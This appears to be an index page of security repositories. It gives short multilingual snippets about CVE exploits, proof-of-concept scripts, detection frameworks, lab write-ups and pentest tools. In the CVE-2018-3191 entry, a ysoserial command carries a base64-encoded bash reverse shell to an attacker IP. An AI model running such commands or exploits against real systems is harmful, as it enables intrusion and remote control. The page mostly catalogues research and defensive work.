CVE-2024-24402

脆弱性レポート CVE 発見者: Jarod Jaslow MAWK 脆弱性の詳細: エンドポイント: Nagios XI Version 2024R1.01 脆弱性タイプ: ユーザー "NAGIOS" からの権限昇格 悪用結果: ターゲットシステム上での完全な root アクセス 再現手順: 1. Nagios XI バージョン 2024R1.01 の新しいインスタンスを作成する: Nagios XI OVAファイルを次からダウンロード:...

CVE-2025-32463

CVE-2025-32463 탐지 프레임워크 sudo chroot 권한 상승 취약점CVE-2025-32463을 대상으로 한 익스플로잇 시도를 식별하도록 설계된 포괄적인 보안 모니터링 및 탐지 프레임워크입니다. 이 프로젝트는 고급 위협 탐지 방법론, 침해 대응 능력 및 방어적 보안 엔지니어링을 보여줍니다. 🔍 개요 CVE-2025-32463은 sudo 1.9.14에서 1.9.17 버전의 중요한 권한 상승 취약점으로, --chroot 옵션을 사용할 때 /etc/nsswitch.conf 조작을 통해 로컬 사용자가 루트 액세스 권한을 ...

OverlayFS-CVE-2021-3493

OverlayFS — CVE-2021–3493 || Writeup || Tryhackme 📖 Introduction What is OverlayFS.? OverlayFS is a Linux kernel module that allows the system to combine several mount points into one, so that you can access all the files from each within one directory structure. It’s often used by live USBs, or...

CVE-2021-3560_PoC

CVE-2021-3560PoC polkit 익스플로잇 스크립트 polkit 서비스를 사용하여 루트 권한 상승을 위한 자동화 스크립트 요구 사항 SSH 서버 GNOME을 통한 인증 팝업을 피하기 위함 취약한 Linux 배포판: 배포판| 취약 여부? ---|--- RHEL 7| 아니오 RHEL 8| 예 Fedora 20 또는 이전| 아니오 Fedora 21 또는 이후| 예 Debian 10 “buster”| 아니오 Debian testing “bullseye”| 예 Ubuntu 18.04| 아니오 Ubuntu 20.04| 예 사용...

Automated-scanner-CVE-2026-41940

CPANEL CVE EXPLOIT English | فارسی Persian root@kitploit: ██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║ ██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║ ██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║ ╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗ ╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝...

MAL-014

MAL-014: Authenticated Arbitrary File Read in VMware vCenter Server The “com.vmware.appliance.version1.system.update.set” API component is vulnerable to a flag injection attack that can be leveraged with the “com.vmware.showlog” plugin in order to read arbitrary files as the “root” user on the...

-CVE-2019-14287-SUDO-bypass-vulnerability

This repository does not have a README...

Hijacker

Hijacker Hijacker is a Graphical User Interface for the penetration testing tools Aircrack-ng, Airodump-ng, MDK3 and Reaver. It offers a simple and easy UI to use these tools without typing commands in a console and copy&pasting MAC addresses. This application requires an ARM android device with ...

celerystalk

celerystalk celerystalk helps you automate your network scanning/enumeration process with asynchronous jobs aka tasks while retaining full control of which tools you want to run. Interactive Demo: Bug Bounty Mode HackerOne Interactive Demo: Vulnerability Assessment / PenTest Mode Retired...

CVE-2026-38577

CVE-2026-38577 — Tenda HG21 하드코딩된 루트 자격 증명 요약 필드| 값 ---|--- CVE ID| CVE-2026-38577 공급업체| Tenda 제품| Tenda HG21 XPON 광모뎀 영향받는 버전| V4.0.0-260302 제품 키| HG21-V1.0-TDE01 하드웨어 버전| V1.0 펌웨어 빌드 날짜| 2026-03-02 펌웨어 파일| USHG21re300002982enxpon2.zip 취약점 클래스| CWE-798: 하드코딩된 자격 증명 사용 발견자| Anmol Singh Rajput — 독...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 Reverse Shell Local IP: 172.16.38.1 WebLogic: 172.16.38.174:7001 1. Execute locally java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Then...

CVE-2017-5618-Screen-4.5.0-Root

GNU Screen 4.5.0 로컬 권한 상승 익스플로잇 CVE-2017-5618 📌 개요 GNU Screen 4.5.0의 로컬 권한 상승 익스플로잇으로, ld.so.preload 조작을 통해 공유 라이브러리 로딩을 가로채 루트 액세스 를 획득합니다. 🔧 기술 세부 사항 취약점: CVE-2017-5618 유형: ld.so.preload를 통한 공유 라이브러리 하이재킹 영향: GNU Screen 4.5.0 독점 수정: GNU Screen 4.6.0+ 🎪 취약점 서커스 CVE: 2017-5618 🎯 버그: Screen 4.5.0이...

CVE-2023-5521

CVE-2023-5521 Root takeover via signature spoofing in KernelSU Detailed report https://huntr.dev/bounties/d438eff7-4e24-45e0-bc75-d3a5b3ab2ea1/...

cdt-vulnsamba-deploy

CDT Team Delta - Vulnerable Samba Deployment Overview This repo is an Ansible-based deployment of a vulnerable Samba file server affected by CVE-2017-7494, a critical remote code execution vulnerability. This will hopefully be deployed for team Delta during the Grey Team phase. Vulnerability...

CVE-2018-17873

CVE-2018-17873 WiFiRanger indoor routers Core, GoAC and their outdoor paired routers Sky Pro, EliteAC, EliteAC FM running firmware version 7.0.8rc3 and earlier allow anonymous FTP read/write access and have left the SSH Private Key in the clear - making it a trivial task to view/copy the key and...

CVE-2019-5736-PoC

CVE-2019-5736-PoC PoC for CVE-2019-5736 Created with help from @singe, @cablethief, and @feexd Tested on Ubuntu 18.04, Debian 9, and Arch Linux. Docker versions 18.09.1-ce and 18.03.1-ce. This PoC does not currently work with Ubuntu 16.04 and CentOS. Go checkout the exploit code from Dragon Secto...

FTP-vsFTPD-CVE-2011-2523-VAPT-Report

vsFTPD CVE-2011-2523 VAPT 보고서 대상: Metasploitable 2 테스터: 보안 분석가 날짜: 2026년 6월 24일 범위: 내부 랩 테스트 Kali Linux → Metasploitable 2 📌요약 Nmap 취약점 스캔 스크립트 를 사용하여 Metasploitable 2 시스템을 대상으로 취약점 스캔을 수행했습니다. 스캔 결과, FTP 서비스vsFTPd 2.3.4 백도어에서 CVE-2011-2523 에 취약한 치명적인 취약점 이 확인되었습니다. 이후 Metasploit 프레임워크를 사용하여 해당...

pentest-metasploitable2

Penetration Testing Lab: Kali Linux vs Metasploitable2 Disclaimer: This lab was conducted entirely within an isolated virtual network between two locally-hosted VMs. No external systems, live networks, or real infrastructure were targeted at any point. All techniques demonstrated are for...

kernel-exploit-dirtycow-project-subm

kernel-exploit-dirtycow-project-subm Dirty COW Privilege Escalation CVE-2016-5195 This project demonstrates a privilege escalation scenario in a controlled lab environment using the Dirty COW vulnerability on an Ubuntu 16.04 kernel affected by CVE-2016-5195. Environment Attacker VM: Kali Linux...

CVE-2026-25769

🚨 CVE-2026-25769 - Wazuh Insecure Deserialization RCE Critical Worker ➜ Master Remote Code Execution in Wazuh Cluster Mode Unsafe deserialization in Wazuh cluster communications allows a compromised worker node to achieve root RCE on the master node. 📌 Overview CVE ID: CVE-2026-25769 Product: Waz...